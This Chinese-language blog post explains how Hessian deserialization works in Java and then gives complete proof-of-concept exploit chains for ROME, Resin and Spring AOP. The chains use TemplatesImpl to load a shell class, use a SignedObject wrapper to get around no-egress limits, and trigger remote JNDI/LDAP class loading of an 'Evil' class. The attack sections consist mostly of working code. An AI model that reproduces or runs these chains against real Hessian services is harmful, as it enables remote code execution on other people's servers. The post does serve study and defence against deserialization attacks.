Hessian反序列化

  1. Hessian反序列化
    1. 反序列化过程
    2. ROME
    3. Resin
    4. Srping AOP

Hessian反序列化

前置知识

1、CC链

2、rome反序列化


Hessian是一种用于远程调用的二进制协议,广泛用于构建分布式系统中的跨平台通信。它可以将Java对象序列化为二进制数据,相对于json或xml提供更高效的数据传输和更低的开销。这里讲的Hessian 是CAUCHO公司的工程项目,为了达到或超过 ORMI/Java JNI 等其他跨语言/平台调用的能力设计而出,在 2004 点发布 1.0 规范。Hessian是基于Field机制来进行反序列化,通过一些特殊的方法或者反射来进行赋值,在反序列化过程中自动调用的方法更少,相对基于Bean机制其攻击面也更小。

反序列化过程

我们可以编写一个简单的Person类来进行测试,调用Hessian的序列化方法转化为二进制数组,随后再调用Hessian的发序列化方法将二进制数组转化为Person对象,在此过程中下断点并进行单步跟进来观察其反序列化的过程。

项目依赖:

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import java.io.Serializable;

public class Person implements Serializable {
public String name;
public int age;

public int getAge(){
return age;
}
public String getName(){
return name;
}

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}
}

HessianTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;

public class HessianTest implements Serializable {

public static void main(String[] args) throws IOException{
Person xiaoming = new Person();
xiaoming.setAge(10);
xiaoming.setName("xiaoming");

byte[] s = serialize(xiaoming);
System.out.println((Person)deserialize(s));
}
}

在IDEA中,对 Object o = input.readObject();下断点,启动调试运行:

readObject()当中调用read()来获取tag,随后根据tag的类型来进行分类处理:

跟进到read()中发现其读取的是字节数组的第一个元素值,这里是77ASCII对应的字母是M,因为Hessian的序列化总会把结果处理成一个Map,所以这里的tag总会是M。在case 'M'的情况下,先获取待反序列化对象的类型,之后再调用readMap()进行处理:

跟进到readMap()中,可以看到会先调用getDeserializer()来获取相应类型的deserializer,并调用其readMap()进行处理;如果获取不到,就会进入到_hashMapDeserializer.readMap

deserializer.readMap()中,会先实例化一个空对象,随后调用readMap()

readMap()中,会将obj加入引用中以便来寻找值,随后循环对值进行恢复,通过_fieldMap来获取相应的Deserializer,根据获取到的Deserializer进入相应的deserialize方法中。

进入deserialize方法后,会对键对应的值进行读取,这里读取的是字符串,所以对应的是readString(),之后对obj进行恢复赋值。

不同的类型的键会有不同的Deserializer,相应的就会有不同的deserialize方法,如果对应的键值是unsafe对象的话则会获取UnsafeDeserializer,在deserialize中就会调用readObjectin进行反序列化。

对于Map类型则会获取MapDeserializer,在deserialize中会调用如下的readMap()

如果_typeMap则使用HashMapSortedMap则使用TreeMap(),接着在while 循环中读取 key-value 的键值对并调用 put 方法,在put里面就会调用到putValhash了,到这里就可以接上我们熟悉的一些链子了,例如HashMap触发hashCode()equals()TreeMap触发compareTo()

ROME

前面一篇中详细介绍了ROME的反序列化漏洞调用的原理,最主要的逻辑就在于ToStringBeantoString中对于getter的循环调用,而诸如EqualsBean的类则能够触发它toString,触发EqualsBean的逻辑就在于HashMapput的时候会做哈希从而调用到hashCode。那么如果放在Hessian反序列化中,就会自动触发HashMapput,也就触发了ROME的任意类加载。

这里还可以使用SignedObject来避开不出网限制。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
package org.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.math.BigInteger;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.Field;
import java.security.*;
import java.security.interfaces.DSAParams;
import java.security.interfaces.DSAPrivateKey;
import java.util.HashMap;

public class EqualsBeanTest {
public static void main(String[] args) throws Exception {
//二次反序列化的对象
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);

//第一次反序列化的对象
SignedObject signedObject = makeSObj(hashMap);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,"1");
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(equalsBean1,"123");
setValue(toStringBean1,"_obj",signedObject);
serialize(hashMap1);

unserialize("ser1.bin");


}
public static SignedObject makeSObj(Serializable o) throws IOException, InvalidKeyException, SignatureException {
return new SignedObject((Serializable) o,
new DSAPrivateKey() {
@Override
public DSAParams getParams() {
return null;
}

@Override
public String getAlgorithm() {
return null;
}

@Override
public String getFormat() {
return null;
}

@Override
public byte[] getEncoded() {
return new byte[0];
}

@Override
public BigInteger getX() {
return null;
}
},
new Signature("1") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

}

@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

}

@Override
protected void engineUpdate(byte b) throws SignatureException {

}

@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

}

@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}

@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}

@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

}

@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
}
);
}

private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}

public static void serialize(Object obj) throws IOException {
HessianOutput oos = new HessianOutput(new FileOutputStream("ser1.bin"));

oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException{
HessianInput ois = new HessianInput(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

Resin

Resin也是CAUCHO公司的产品,是一个非常流行的支持servlets 和jsp的引擎,速度非常快。它里面有一个类QNAME,用来表示一个解析的JNDI接口名称:

这里我们关注它的toString函数,通过for循环遍历当前对象包含的所有成员,随后进行相应的处理,首先会获取当前元素的值赋值给str,随后根据name是否为null进行不同的处理,如果namenull则直接把str赋值给name,否则调用了_context.composeName获取name,如果触发NamingException则会对namestr用斜杠进行拼接。

ContinuationContext类的composeName实现中调用了getTargetContext,看起来有点远程类加载的意味。在getTargetContext中如果满足contCtxnullcpe.getResolvedObj()返回不为null就可以调用NamingManager.getContext

只要obj的不是Context类型就能够走到调用getObjectInstance()的地方。这里看一下getObjectInstance的注释:

getObjectInstance是用来为指定的对象和环境创建对象的实例。如果 refInfo 是没有工厂类名的 ReferenceReferenceable,并且地址是地址类型为“URL”的 StringRefAddrs,则尝试与每个 URL 的方案 id 对应的 URL 上下文工厂来创建对象。在方法的实现中,也是对refInfo进行了类型的判断,如果是ReferenceReferenceable类型就会赋值给ref,从而在接下去的if判断中不为null,如果ref.getFactoryClassName()不为空就会调用到getObjectFactoryFromReference

getObjectFactoryFromReference会先尝试直接通过factoryName加载类,找不到之后再通过ref.getFactoryClassLocation()获取codebase,调用helper.loadClass进行类加载:

如果开启trustURLCodebase,就会调用URLClassLoader.newInstanace()进行远程类加载,随后loadClass返回的cls会在前面的NamingManager#getObjectFactoryFromReference进行实例化。

这里可以先做一个测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;

import com.caucho.naming.QName;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class ResinTest {
public static void main(String[] args) throws Exception {
String refAddr = "http://127.0.0.1:8000/";
String refClassName = "Evil";
Reference ref = new Reference(refClassName,refClassName,refAddr);
CannotProceedException cannotProceedException = new CannotProceedException();
setFiled("javax.naming.NamingException",cannotProceedException,"resolvedObj",ref);
Hashtable hashtable = new Hashtable();
Class<?> cla = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = cla.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
Context continuationContext = (Context) constructor.newInstance(cannotProceedException,hashtable);
QName qName = new QName(continuationContext,"1","2");
qName.toString();

}
public static void setFiled(String className, Object o, String filedName, Object value) throws Exception{
Class<?> cl = Class.forName(className);
Field field = cl.getDeclaredField(filedName);
field.setAccessible(true);
field.set(o,value);
}

}

那么接下去就是如何触发toString的问题了,如果不依赖于ROME的话,我们可以想到之前HotSwappableTargetSourceXString那一段链子,XString的equals会调用到obj2.toString(),只要obj2为前面的qName就可以接上去。

那么自然而然的就会想到HashMap了:

满足p.hash == hashp.key!=keykey != null就可以调用到key.equals(k),根据前面的推理k得是qNamekeyxString,这里的key是后面put进来的,k是原先就有的,所以qName应该先puthashMapxStringputhashMap

对于key不相等hash想等的问题,这里可以关注到XStringhashCode函数:

他返回的是m_obj.hashCode(),那么我们可以先获取qName的hash,通过哈希的逆算法来得到相应的String值,然后赋值给m_obj就可以了。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package org.example;


import com.caucho.hessian.io.*;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class ResinTest {
public static void main(String[] args) throws Exception {
String refAddr = "http://127.0.0.1:8000/";
String refClassName = "Evil";
Reference ref = new Reference(refClassName,refClassName,refAddr);
CannotProceedException cannotProceedException = new CannotProceedException();
setFiled("javax.naming.NamingException",cannotProceedException,"resolvedObj",ref);
Hashtable hashtable = new Hashtable();
Class<?> cla = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = cla.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
Context continuationContext = (Context) constructor.newInstance(cannotProceedException,hashtable);
QName qName = new QName(continuationContext,"foo","bar");
// qName.toString();
int hash = qName.hashCode();
String string = unhash(hash);
XString xString = new XString(string);
HashMap hashMap = new HashMap();
hashMap.put(qName,"1");
hashMap.put(xString,"2");
serialize(hashMap);

unserialize("ser.bin");
}
public static String unhash(int hash){
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static void setFiled(String className, Object o, String filedName, Object value) throws Exception{
Class<?> cl = Class.forName(className);
Field field = cl.getDeclaredField(filedName);
field.setAccessible(true);
field.set(o,value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
HessianOutput hessianOutput = new HessianOutput(fileOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessianOutput.setSerializerFactory(serializerFactory);
hessianOutput.writeObject(obj);
hessianOutput.close();
}

public static Object unserialize(String filename) throws IOException{
FileInputStream fileInputStream = new FileInputStream(filename);
HessianInput hessianInput = new HessianInput(fileInputStream);
HashMap o = (HashMap) hessianInput.readObject();
return o;
}
}

Srping AOP

这一条链还是从equals开始,org.springframework.aop.support.AbstractPointcutAdvisorequals会首先对other进行判断,不等于自身而且是PointcutAdvisor类型就会在后续逻辑中调用getAdvice()

这里可以看到org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisorgetAdvice()实现,advicenull则会调用this.beanFactory.getBean()

紧接着看到org.springframework.jndi.support.SimpleJndiBeanFactorygetBean()实现,如果this.isSingleton(name)false就会调用到this.lookup进行远程获取:

之后会调用org.springframework.jndi.JndiLocatorSupportlookup

进而调用org.springframework.jndi.JndiTemplatelookup()

最后lookup会根据name加载远程类:

构造测试链的话就是从后往前套:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception{
String rmi = "ldap://127.0.0.1:1099/Evil";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
simpleJndiBeanFactory.addShareableResource(rmi);

Class<?> cl = Class.forName("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor");
DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();
defaultBeanFactoryPointcutAdvisor.setBeanFactory(simpleJndiBeanFactory);
defaultBeanFactoryPointcutAdvisor.setAdviceBeanName(rmi);

AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();
defaultBeanFactoryPointcutAdvisor.equals(asyncAnnotationAdvisor);

}

因为other对传入的类型有要求,所以这里就传了一个继承PointcutAdvisorAsyncAnnotationAdvisor类。

因为调用的是defaultBeanFactoryPointcutAdvisorequals,所以在HashMap中他应该在前面,POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;

import org.springframework.aop.PointcutAdvisor;
import org.springframework.aop.support.*;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;

public class AOPTest {
public static void main(String[] args) throws Exception{
String rmi = "ldap://127.0.0.1:1099/Evil";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
simpleJndiBeanFactory.addShareableResource(rmi);

Class<?> cl = Class.forName("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor");
DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();
defaultBeanFactoryPointcutAdvisor.setBeanFactory(simpleJndiBeanFactory);
defaultBeanFactoryPointcutAdvisor.setAdviceBeanName(rmi);

AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();
defaultBeanFactoryPointcutAdvisor.equals(asyncAnnotationAdvisor);
HashMap hashMap = new HashMap();
hashMap.put(defaultBeanFactoryPointcutAdvisor,"1");
hashMap.put(asyncAnnotationAdvisor,"2");
serialize(hashMap);
unserialize("ser.bin");


}
private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
public static void setFiled(String className, Object o, String filedName, Object value) throws Exception{
Class<?> cl = Class.forName(className);
Field field = cl.getDeclaredField(filedName);
field.setAccessible(true);
field.set(o,value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
HessianOutput hessianOutput = new HessianOutput(fileOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessianOutput.setSerializerFactory(serializerFactory);
hessianOutput.writeObject(obj);
hessianOutput.close();
}

public static Object unserialize(String filename) throws IOException{
FileInputStream fileInputStream = new FileInputStream(filename);
HessianInput hessianInput = new HessianInput(fileInputStream);
HashMap o = (HashMap) hessianInput.readObject();
return o;
}
}


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com